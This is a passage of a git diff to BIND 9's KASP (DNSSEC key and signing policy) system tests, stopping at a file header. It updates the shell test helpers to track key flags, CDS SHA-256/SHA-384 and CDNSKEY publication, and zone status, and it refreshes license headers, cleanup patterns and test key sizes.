 SHA256="R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY="
 VIEW1="YPfMoAk6h+3iN8MDRQC004iSNHY="
 VIEW2="4xILSZQnuO1UKubXHkYUsvBRPu8="
+VIEW3="C1Azf+gGPMmxrUg/WQINP6eV9Y0="
 
 ###############################################################################
 # Key properties                                                              #
@@ -41,6 +44,7 @@ VIEW2="4xILSZQnuO1UKubXHkYUsvBRPu8="
 # ROLE
 # KSK
 # ZSK
+# FLAGS
 # LIFETIME
 # ALG_NUM
 # ALG_STR
@@ -60,6 +64,9 @@ VIEW2="4xILSZQnuO1UKubXHkYUsvBRPu8="
 # EXPECT_KRRSIG
 # LEGACY
 # PRIVATE
+# PRIVKEY_STAT
+# PUBKEY_STAT
+# STATE_STAT
 
 key_key() {
 	echo "${1}__${2}"
@@ -73,6 +80,10 @@ key_set() {
 	eval "$(key_key "$1" "$2")='$3'"
 }
 
+key_stat() {
+	$PERL -e 'print((stat @ARGV[0])[9] . "\n");' "$1"
+}
+
 # Save certain values in the KEY array.
 key_save()
 {
@@ -82,6 +93,10 @@ key_save()
 	key_set "$1" BASEFILE "$BASE_FILE"
 	# Save creation date.
 	key_set "$1" CREATED "${KEY_CREATED}"
+	# Save key change time.
+	key_set "$1" PRIVKEY_STAT $(key_stat "${BASE_FILE}.private")
+	key_set "$1" PUBKEY_STAT $(key_stat "${BASE_FILE}.key")
+	key_set "$1" STATE_STAT $(key_stat "${BASE_FILE}.state")
 }
 
 # Clear key state.
@@ -94,6 +109,7 @@ key_clear() {
 	key_set "$1" "ROLE" 'none'
 	key_set "$1" "KSK" 'no'
 	key_set "$1" "ZSK" 'no'
+	key_set "$1" "FLAGS" '0'
 	key_set "$1" "LIFETIME" 'none'
 	key_set "$1" "ALG_NUM" '0'
 	key_set "$1" "ALG_STR" 'none'
@@ -114,6 +130,9 @@ key_clear() {
 	key_set "$1" "EXPECT_KRRSIG" 'no'
 	key_set "$1" "LEGACY" 'no'
 	key_set "$1" "PRIVATE" 'yes'
+	key_set "$1" "PRIVKEY_STAT" '0'
+	key_set "$1" "PUBKEY_STAT" '0'
+	key_set "$1" "STATE_STAT" '0'
 }
 
 # Start clear.
@@ -190,12 +209,15 @@ set_dynamic() {
 	DYNAMIC="yes"
 }
 
-# Set policy settings (name $1, number of keys $2, dnskey ttl $3) for testing keys.
+# Set policy settings (name $1, number of keys $2, dnskey ttl $3).
 set_policy() {
 	POLICY=$1
 	NUM_KEYS=$2
 	DNSKEY_TTL=$3
 	CDS_DELETE="no"
+	CDS_SHA256="yes"
+	CDS_SHA384="no"
+	CDNSKEY="yes"
 }
 # By default policies are considered to be secure.
 # If a zone sets its policy to "insecure", call 'set_cdsdelete' to tell the
@@ -212,10 +234,19 @@ set_keyrole() {
 	key_set "$1" "ROLE" "$2"
 	key_set "$1" "KSK" "no"
 	key_set "$1" "ZSK" "no"
+	key_set "$1" "FLAGS" "0"
+
 	test "$2" = "ksk" && key_set "$1" "KSK" "yes"
+	test "$2" = "ksk" && key_set "$1" "FLAGS" "257"
+
 	test "$2" = "zsk" && key_set "$1" "ZSK" "yes"
+	test "$2" = "zsk" && key_set "$1" "FLAGS" "256"
+
 	test "$2" = "csk" && key_set "$1" "KSK" "yes"
 	test "$2" = "csk" && key_set "$1" "ZSK" "yes"
+	test "$2" = "csk" && key_set "$1" "FLAGS" "257"
+
+	return 0
 }
 set_keylifetime() {
 	key_set "$1" "EXPECT" "yes"
@@ -306,6 +337,7 @@ check_key() {
 	_lifetime=$(key_get "$1" LIFETIME)
 	_legacy=$(key_get "$1" LEGACY)
 	_private=$(key_get "$1" PRIVATE)
+	_flags=$(key_get "$1" FLAGS)
 
 	_published=$(key_get "$1" PUBLISHED)
 	_active=$(key_get "$1" ACTIVE)
@@ -322,18 +354,19 @@ check_key() {
 	_ksk="no"
 	_zsk="no"
 	if [ "$_role" = "ksk" ]; then
-		_role2="key-signing"
 		_ksk="yes"
-		_flags="257"
 	elif [ "$_role" = "zsk" ]; then
-		_role2="zone-signing"
 		_zsk="yes"
-		_flags="256"
 	elif [ "$_role" = "csk" ]; then
-		_role2="key-signing"
 		_zsk="yes"
 		_ksk="yes"
-		_flags="257"
+	fi
+
+	_role2="none"
+	if [ "$_flags" = "257" ]; then
+		_role2="key-signing"
+	elif [ "$_flags" = "256" ]; then
+		_role2="zone-signing"
 	fi
 
 	BASE_FILE="${_dir}/K${_zone}.+${_alg_numpad}+${_key_idpad}"
@@ -351,7 +384,7 @@ check_key() {
 		[ -s "$STATE_FILE" ] || ret=1
 	fi
 	[ "$ret" -eq 0 ] || _log_error "${BASE_FILE} files missing"
-	[ "$ret" -eq 0 ] || return
+	[ "$ret" -eq 0 ] || return 0
 
 	# Retrieve creation date.
 	grep "; Created:" "$KEY_FILE" > "${ZONE}.${KEY_ID}.${_alg_num}.created" || _log_error "mismatch created comment in $KEY_FILE"
@@ -426,6 +459,8 @@ check_key() {
 			grep "DSChange: " "$STATE_FILE" > /dev/null || _log_error "mismatch ds change in $STATE_FILE"
 		fi
 	fi
+
+	return 0
 }
 
 # Check the key timing metadata for key $1.
@@ -628,7 +663,7 @@ key_unused() {
 	[ -s "$KEY_FILE" ] || ret=1
 	[ -s "$PRIVATE_FILE" ] || ret=1
 	[ -s "$STATE_FILE" ] || ret=1
-	[ "$ret" -eq 0 ] || return
+	[ "$ret" -eq 0 ] || return 0
 
 	# Treat keys that have been removed from the zone as unused.
 	_check_removed=1
@@ -658,6 +693,8 @@ key_unused() {
 	grep "Retired: " "$STATE_FILE" > /dev/null && _log_error "unexpected retired in $STATE_FILE"
 	grep "Revoked: " "$STATE_FILE" > /dev/null && _log_error "unexpected revoked in $STATE_FILE"
 	grep "Removed: " "$STATE_FILE" > /dev/null && _log_error "unexpected removed in $STATE_FILE"
+
+	return 0
 }
 
 # Test: dnssec-verify zone $1.
@@ -667,7 +704,7 @@ dnssec_verify()
 	echo_i "dnssec-verify zone ${ZONE} ($n)"
 	ret=0
 	_dig_with_opts "$ZONE" "@${SERVER}" AXFR > dig.out.axfr.test$n || _log_error "dig ${ZONE} AXFR failed"
-	$VERIFY -z -o "$ZONE" dig.out.axfr.test$n > /dev/null || _log_error "dnssec verify zone $ZONE failed"
+	$VERIFY -z -o "$ZONE" dig.out.axfr.test$n > verify.out.$ZONE.test$n || _log_error "dnssec verify zone $ZONE failed"
 	test "$ret" -eq 0 || echo_i "failed"
 	status=$((status+ret))
 }
@@ -697,6 +734,7 @@ check_numkeys() {
 
 _check_keys() {
 	ret=0
+	_ret=0
 
 	# Clear key ids.
 	key_set KEY1 ID "no"
@@ -739,10 +777,10 @@ _check_keys() {
 
 		# If ret is still non-zero, none of the files matched.
 		echo_i "failed"
-		return 1
+		_ret=1
 	done
 
-	return 0
+	return $_ret
 }
 
 # Check keys for a configured zone. This verifies:
@@ -795,9 +833,9 @@ check_keys() {
 	status=$((status+ret))
 }
 
-# Call rndc dnssec -status on server $1 for zone $2 and check output.
-# This is a loose verification, it just tests if the right policy
-# name is returned, and if all expected keys are listed.  The rndc
+# Call rndc dnssec -status on server $1 for zone $3 in view $4 with policy $2
+# and check output. This is a loose verification, it just tests if the right
+# policy name is returned, and if all expected keys are listed.  The rndc
 # dnssec -status output also lists whether a key is published,
 # used for signing, is retired, or is removed, and if not when
 # it is scheduled to do so, and it shows the states for the various
@@ -836,6 +874,28 @@ check_dnssecstatus() {
 	status=$((status+ret))
 }
 
+# Call rndc zonestatus on server $1 for zone $2 in view $3 and check output if
+# inline-signing is enabled.
+check_inlinesigning() {
+	_server=$1
+	_zone=$2
+	_view=$3
+
+	_rndccmd $_server zonestatus $_zone in $_view > rndc.zonestatus.out.$_zone.$n || return 1
+	grep "inline signing: yes" rndc.zonestatus.out.$_zone.$n > /dev/null || return 1
+}
+
+# Call rndc zonestatus on server $1 for zone $2 in view $3 and check output if
+# the zone is dynamic.
+check_isdynamic() {
+	_server=$1
+	_zone=$2
+	_view=$3
+
+	_rndccmd $_server zonestatus $_zone in $_view > rndc.zonestatus.out.$_zone.$n || return 1
+	grep "dynamic: yes" rndc.zonestatus.out.$_zone.$n > /dev/null || return 1
+}
+
 # Check if RRset of type $1 in file $2 is signed with the right keys.
 # The right keys are the ones that expect a signature and matches the role $3.
 _check_signatures() {
@@ -889,24 +949,25 @@ check_signatures() {
 	retry_quiet 3 _check_signatures $1 $2 $3 || _log_error "RRset $1 in zone $ZONE incorrectly signed"
 }
 
-response_has_cds_for_key() (
+response_has_cds_for_key() {
 	awk -v zone="${ZONE%%.}." \
 	    -v ttl="${DNSKEY_TTL}" \
 	    -v qtype="CDS" \
-	    -v keyid="$(key_get "${1}" ID)" \
-	    -v keyalg="$(key_get "${1}" ALG_NUM)" \
-	    -v hashalg="2" \
+	    -v keyid="$(key_get "${2}" ID)" \
+	    -v keyalg="$(key_get "${2}" ALG_NUM)" \
+	    -v hashalg="$1" \
 	    'BEGIN { ret=1; }
 	     $1 == zone && $2 == ttl && $4 == qtype && $5 == keyid && $6 == keyalg && $7 == hashalg { ret=0; exit; }
 	     END { exit ret; }' \
-	    "$2"
-)
+	    "$3"
+}
 
 response_has_cdnskey_for_key() (
+
 	awk -v zone="${ZONE%%.}." \
 	    -v ttl="${DNSKEY_TTL}" \
 	    -v qtype="CDNSKEY" \
-	    -v flags="257" \
+	    -v flags="$(key_get "${1}" FLAGS)" \
 	    -v keyalg="$(key_get "${1}" ALG_NUM)" \
 	    'BEGIN { ret=1; }
 	     $1 == zone && $2 == ttl && $4 == qtype && $5 == flags && $7 == keyalg { ret=0; exit; }
@@ -914,6 +975,39 @@ response_has_cdnskey_for_key() (
 	    "$2"
 )
 
+check_cds_digests() {
+	if [ "$CDS_SHA256" = "yes" ]; then
+		response_has_cds_for_key 2 $1 "${2}.cds" || _log_error "missing CDS 2 record in response for key $(key_get $1 ID)"
+	else
+		response_has_cds_for_key 2 $1 "${2}.cds" && _log_error "unexpected CDS 2 record in response for key $(key_get $1 ID)"
+	fi
+
+	if [ "$CDS_SHA384" = "yes" ]; then
+		response_has_cds_for_key 4 $1 "${2}.cds" || _log_error "missing CDS 4 record in response for key $(key_get $1 ID)"
+	else
+		response_has_cds_for_key 4 $1 "${2}.cds" && _log_error "unexpected CDS 4 record in response for key $(key_get $1 ID)"
+	fi
+
+	if [ "$CDNSKEY" = "yes" ]; then
+		response_has_cdnskey_for_key $1 "${2}.cdnskey" || _log_error "missing CDNSKEY record in response for key $(key_get $1 ID)"
+	else
+		response_has_cdnskey_for_key $1 "${2}.cdnskey" && _log_error "unexpected CDNSKEY record in response for key $(key_get $1 ID)"
+	fi
+
+	return 0
+}
+
+check_cds_digests_invert() {
+	response_has_cds_for_key 2 $1 "${2}.cds" && _log_error "unexpected CDS 2 record in response for key $(key_get $1 ID)"
+	response_has_cds_for_key 4 $1 "${2}.cds" && _log_error "unexpected CDS 4 record in response for key $(key_get $1 ID)"
+	# The key should not have an associated CDNSKEY, but there may be
+	# one for another key.  Since the CDNSKEY has no field for key
+	# id, it is hard to check what key the CDNSKEY may belong to
+	# so let's skip this check for now.
+
+	return 0
+}
+
 # Test CDS and CDNSKEY publication.
 check_cds() {
 
@@ -939,60 +1033,52 @@ check_cds() {
 	fi
 
 	if [ "$(key_get KEY1 STATE_DS)" = "rumoured" ] || [ "$(key_get KEY1 STATE_DS)" = "omnipresent" ]; then
-		response_has_cds_for_key KEY1 "dig.out.$DIR.test$n.cds" || _log_error "missing CDS record in response for key $(key_get KEY1 ID)"
-		response_has_cdnskey_for_key KEY1 "dig.out.$DIR.test$n.cdnskey" || _log_error "missing CDNSKEY record in response for key $(key_get KEY1 ID)"
+		check_cds_digests KEY1 "dig.out.$DIR.test$n"
 		_checksig=1
 	elif [ "$(key_get KEY1 EXPECT)" = "yes" ]; then
-		response_has_cds_for_key KEY1 "dig.out.$DIR.test$n.cds" && _log_error "unexpected CDS record in response for key $(key_get KEY1 ID)"
-		# KEY1 should not have an associated CDNSKEY, but there may be
-		# one for another key.  Since the CDNSKEY has no field for key
-		# id, it is hard to check what key the CDNSKEY may belong to
-		# so let's skip this check for now.
+		check_cds_digests_invert KEY1 "dig.out.$DIR.test$n"
 	fi
 
 	if [ "$(key_get KEY2 STATE_DS)" = "rumoured" ] || [ "$(key_get KEY2 STATE_DS)" = "omnipresent" ]; then
-		response_has_cds_for_key KEY2 "dig.out.$DIR.test$n.cds" || _log_error "missing CDS record in response for key $(key_get KEY2 ID)"
-		response_has_cdnskey_for_key KEY2 "dig.out.$DIR.test$n.cdnskey" || _log_error "missing CDNSKEY record in response for key $(key_get KEY2 ID)"
+		check_cds_digests KEY2 "dig.out.$DIR.test$n"
 		_checksig=1
 	elif [ "$(key_get KEY2 EXPECT)" = "yes" ]; then
-		response_has_cds_for_key KEY2 "dig.out.$DIR.test$n.cds" && _log_error "unexpected CDS record in response for key $(key_get KEY2 ID)"
-		# KEY2 should not have an associated CDNSKEY, but there may be
-		# one for another key.  Since the CDNSKEY has no field for key
-		# id, it is hard to check what key the CDNSKEY may belong to
-		# so let's skip this check for now.
+		check_cds_digests_invert KEY2 "dig.out.$DIR.test$n"
 	fi
 
 	if [ "$(key_get KEY3 STATE_DS)" = "rumoured" ] || [ "$(key_get KEY3 STATE_DS)" = "omnipresent" ]; then
-		response_has_cds_for_key KEY3 "dig.out.$DIR.test$n.cds" || _log_error "missing CDS record in response for key $(key_get KEY3 ID)"
-		response_has_cdnskey_for_key KEY3 "dig.out.$DIR.test$n.cdnskey" || _log_error "missing CDNSKEY record in response for key $(key_get KEY3 ID)"
+		check_cds_digests KEY3 "dig.out.$DIR.test$n"
 		_checksig=1
 	elif [ "$(key_get KEY3 EXPECT)" = "yes" ]; then
-		response_has_cds_for_key KEY3 "dig.out.$DIR.test$n.cds" && _log_error "unexpected CDS record in response for key $(key_get KEY3 ID)"
-		# KEY3 should not have an associated CDNSKEY, but there may be
-		# one for another key.  Since the CDNSKEY has no field for key
-		# id, it is hard to check what key the CDNSKEY may belong to
-		# so let's skip this check for now.
+		check_cds_digests_invert KEY3 "dig.out.$DIR.test$n"
 	fi
 
 	if [ "$(key_get KEY4 STATE_DS)" = "rumoured" ] || [ "$(key_get KEY4 STATE_DS)" = "omnipresent" ]; then
-		response_has_cds_for_key KEY4 "dig.out.$DIR.test$n.cds" || _log_error "missing CDS record in response for key $(key_get KEY4 ID)"
-		response_has_cdnskey_for_key KEY4 "dig.out.$DIR.test$n.cdnskey" || _log_error "missing CDNSKEY record in response for key $(key_get KEY4 ID)"
+		check_cds_digests KEY4 "dig.out.$DIR.test$n"
 		_checksig=1
 	elif [ "$(key_get KEY4 EXPECT)" = "yes" ]; then
-		response_has_cds_for_key KEY4 "dig.out.$DIR.test$n.cds" && _log_error "unexpected CDS record in response for key $(key_get KEY4 ID)"
-		# KEY4 should not have an associated CDNSKEY, but there may be
-		# one for another key.  Since the CDNSKEY has no field for key
-		# id, it is hard to check what key the CDNSKEY may belong to
-		# so let's skip this check for now.
+		check_cds_digests_invert KEY4 "dig.out.$DIR.test$n"
 	fi
 
 	test "$_checksig" -eq 0 || check_signatures "CDS" "dig.out.$DIR.test$n.cds" "KSK"
-	test "$_checksig" -eq 0 || check_signatures "CDNSKEY" "dig.out.$DIR.test$n.cdnskey" "KSK"
+
+	if [ "$CDNSKEY" = "yes" ]; then
+		test "$_checksig" -eq 0 || check_signatures "CDNSKEY" "dig.out.$DIR.test$n.cdnskey" "KSK"
+	fi
 
 	test "$ret" -eq 0 || echo_i "failed"
 	status=$((status+ret))
 }
 
+_find_dnskey() {
+	_owner="${ZONE}."
+	_alg="$(key_get $1 ALG_NUM)"
+	_flags="$(key_get $1 FLAGS)"
+	_key_file="$(key_get $1 BASEFILE).key"
+
+	awk '$1 == "'"$_owner"'" && $2 == "'"$DNSKEY_TTL"'" && $3 == "IN" && $4 == "DNSKEY" && $5 == "'"$_flags"'" && $6 == "3" && $7 == "'"$_alg"'" { print $8 }' < "$_key_file"
+}
+
 
 # Test DNSKEY query.
 _check_apex_dnskey() {
@@ -1002,36 +1088,52 @@ _check_apex_dnskey() {
 	_checksig=0
 
 	if [ "$(key_get KEY1 STATE_DNSKEY)" = "rumoured" ] || [ "$(key_get KEY1 STATE_DNSKEY)" = "omnipresent" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY1 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null || return 1
+		_pubkey=$(_find_dnskey KEY1)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null || return 1
 		_checksig=1
 	elif [ "$(key_get KEY1 EXPECT)" = "yes" ]; then
-		grep "${ZONE}\.*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY1 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null && return 1
+		_pubkey=$(_find_dnskey KEY1)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null && return 1
 	fi
 
 	if [ "$(key_get KEY2 STATE_DNSKEY)" = "rumoured" ] || [ "$(key_get KEY2 STATE_DNSKEY)" = "omnipresent" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY2 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null || return 1
+		_pubkey=$(_find_dnskey KEY2)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null || return 1
 		_checksig=1
 	elif [ "$(key_get KEY2 EXPECT)" = "yes" ]; then
-		grep "${ZONE}\.*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY2 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null && return 1
+		_pubkey=$(_find_dnskey KEY2)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null && return 1
 	fi
 
 	if [ "$(key_get KEY3 STATE_DNSKEY)" = "rumoured" ] || [ "$(key_get KEY3 STATE_DNSKEY)" = "omnipresent" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY3 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null || return 1
+		_pubkey=$(_find_dnskey KEY3)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null || return 1
 		_checksig=1
 	elif [ "$(key_get KEY3 EXPECT)" = "yes" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY3 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null && return 1
+		_pubkey=$(_find_dnskey KEY3)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null && return 1
 	fi
 
 	if [ "$(key_get KEY4 STATE_DNSKEY)" = "rumoured" ] || [ "$(key_get KEY4 STATE_DNSKEY)" = "omnipresent" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY4 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null || return 1
+		_pubkey=$(_find_dnskey KEY4)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null || return 1
 		_checksig=1
 	elif [ "$(key_get KEY4 EXPECT)" = "yes" ]; then
-		grep "${ZONE}\..*${DNSKEY_TTL}.*IN.*DNSKEY.*257.*.3.*$(key_get KEY4 ALG_NUM)" "dig.out.$DIR.test$n" > /dev/null && return 1
+		_pubkey=$(_find_dnskey KEY4)
+		test -z "$_pubkey" && return 1
+		grep -F "$_pubkey" "dig.out.$DIR.test$n" > /dev/null && return 1
 	fi
 
 	test "$_checksig" -eq 0 && return 0
 
-	retry_quiet 3 _check_signatures "DNSKEY" "dig.out.$DIR.test$n" "KSK" || return 1
+	_check_signatures "DNSKEY" "dig.out.$DIR.test$n" "KSK" || return 1
 
 	return 0
 }
@@ -1044,11 +1146,11 @@ check_apex() {
 	n=$((n+1))
 	echo_i "check DNSKEY rrset is signed correctly for zone ${ZONE} ($n)"
 	ret=0
-	retry_quiet 3 _check_apex_dnskey || ret=1
+	retry_quiet 10 _check_apex_dnskey || ret=1
 	test "$ret" -eq 0 || echo_i "failed"
 	status=$((status+ret))
 
-	# We retry the DNSKEY query for at most three seconds to avoid test
+	# We retry the DNSKEY query for at most ten seconds to avoid test
 	# failures due to timing issues. If the DNSKEY query check passes this
 	# means the zone is resigned and further apex checks (SOA, CDS, CDNSKEY)
 	# don't need to be retried quietly.
@@ -1096,8 +1198,15 @@ check_cdslog() {
 	echo_i "check CDS/CDNSKEY publication is logged in ${_dir}/named.run for key ${_zone}/${_alg}/${_id} ($n)"
 	ret=0
 
-	grep "CDS for key ${_zone}/${_alg}/${_id} is now published" "${_dir}/named.run" > /dev/null || ret=1
-	grep "CDNSKEY for key ${_zone}/${_alg}/${_id} is now published" "${_dir}/named.run" > /dev/null || ret=1
+	if [ "$CDS_SHA256" = "yes" ]; then
+		grep "CDS (SHA-256) for key ${_zone}/${_alg}/${_id} is now published" "${_dir}/named.run" > /dev/null || ret=1
+	fi
+	if [ "$CDS_SHA384" = "yes" ]; then
+		grep "CDS (SHA-384) for key ${_zone}/${_alg}/${_id} is now published" "${_dir}/named.run" > /dev/null || ret=1
+	fi
+	if [ "$CDNSKEY" = "yes" ]; then
+		grep "CDNSKEY for key ${_zone}/${_alg}/${_id} is now published" "${_dir}/named.run" > /dev/null || ret=1
+	fi
 
 	test "$ret" -eq 0 || echo_i "failed"
 	status=$((status+ret))
diff --git a/bin/tests/system/kasp/README b/bin/tests/system/kasp/README
index eea1705f70..96b0ef7f57 100644
--- a/bin/tests/system/kasp/README
+++ b/bin/tests/system/kasp/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The test setup for the KASP tests.
 
diff --git a/bin/tests/system/kasp/clean.sh b/bin/tests/system/kasp/clean.sh
index a6b8ee1124..db264c2810 100644
--- a/bin/tests/system/kasp/clean.sh
+++ b/bin/tests/system/kasp/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,8 +16,9 @@ set -e
 rm -f ./keygen.*
 rm -f ./K*.private ./K*.key ./K*.state ./K*.cmp
 rm -rf ./keys/
-rm -f dig.out* rrsig.out.* keyevent.out.*
+rm -f dig.out* rrsig.out.* keyevent.out.* verify.out.* zone.out.*
 rm -f ns*/named.conf ns*/named.memstats ns*/named.run*
+rm -f ns*/named-fips.conf
 rm -f ns*/policies/*.conf
 rm -f ns*/*.jnl ns*/*.jbk
 rm -f ns*/K*.private ns*/K*.key ns*/K*.state
@@ -27,7 +30,7 @@ rm -f ns*/zones ns*/*.db.infile
 rm -f ns*/*.zsk1 ns*/*.zsk2
 rm -f ns3/legacy-keys.*
 rm -f *.created published.test* retired.test*
-rm -f rndc.dnssec.*.out.*
+rm -f rndc.dnssec.*.out.* rndc.zonestatus.out.*
 rm -f python.out.*
 rm -f *-supported.file
 rm -f created.key-* unused.key-*
diff --git a/bin/tests/system/kasp/kasp.conf b/bin/tests/system/kasp/kasp.conf
index 5b09682fcf..e7a2eab966 100644
--- a/bin/tests/system/kasp/kasp.conf
+++ b/bin/tests/system/kasp/kasp.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,7 +21,7 @@ dnssec-policy "kasp" {
 	keys {
 		csk key-directory lifetime P1Y  algorithm 13;
 		ksk key-directory lifetime P1Y  algorithm 8;
-		zsk key-directory lifetime P30D algorithm 8 1024;
-		zsk key-directory lifetime P6M  algorithm 8 2000;
+		zsk key-directory lifetime P30D algorithm 8 2048;
+		zsk key-directory lifetime P6M  algorithm 8 3072;
 	};
 };
diff --git a/bin/tests/system/kasp/ns2/named.conf.in b/bin/tests/system/kasp/ns2/named.conf.in
index 3168745d56..b23b9d565f 100644
--- a/bin/tests/system/kasp/ns2/named.conf.in
+++ b/bin/tests/system/kasp/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,11 +24,12 @@ options {
 	allow-transfer { any; };
 	recursion no;
 	dnssec-policy "none";
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -44,8 +47,8 @@ zone "unsigned.tld" {
 
 zone "signed.tld" {
 	type primary;
-	dnssec-policy "default";
 	file "signed.tld.db";
+	dnssec-policy "default";
 };
 
 /* Primary service for ns3 */
diff --git a/bin/tests/system/kasp/ns2/secondary.kasp.db.in b/bin/tests/system/kasp/ns2/secondary.kasp.db.in
index 12c678e8b3..3c8d124062 100644
--- a/bin/tests/system/kasp/ns2/secondary.kasp.db.in
+++ b/bin/tests/system/kasp/ns2/secondary.kasp.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns2/secondary.kasp.db.in2 b/bin/tests/system/kasp/ns2/secondary.kasp.db.in2
index 6fb00a9c30..9289831976 100644
--- a/bin/tests/system/kasp/ns2/secondary.kasp.db.in2
+++ b/bin/tests/system/kasp/ns2/secondary.kasp.db.in2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns2/setup.sh b/bin/tests/system/kasp/ns2/setup.sh
index e353eadcda..cdf0f26692 100644
--- a/bin/tests/system/kasp/ns2/setup.sh
+++ b/bin/tests/system/kasp/ns2/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/kasp/ns2/template.tld.db.in b/bin/tests/system/kasp/ns2/template.tld.db.in
index 7d8b924f64..400dc343bc 100644
--- a/bin/tests/system/kasp/ns2/template.tld.db.in
+++ b/bin/tests/system/kasp/ns2/template.tld.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns3/ed25519.conf b/bin/tests/system/kasp/ns3/ed25519.conf
index 89380e14cd..b64c0c8471 100644
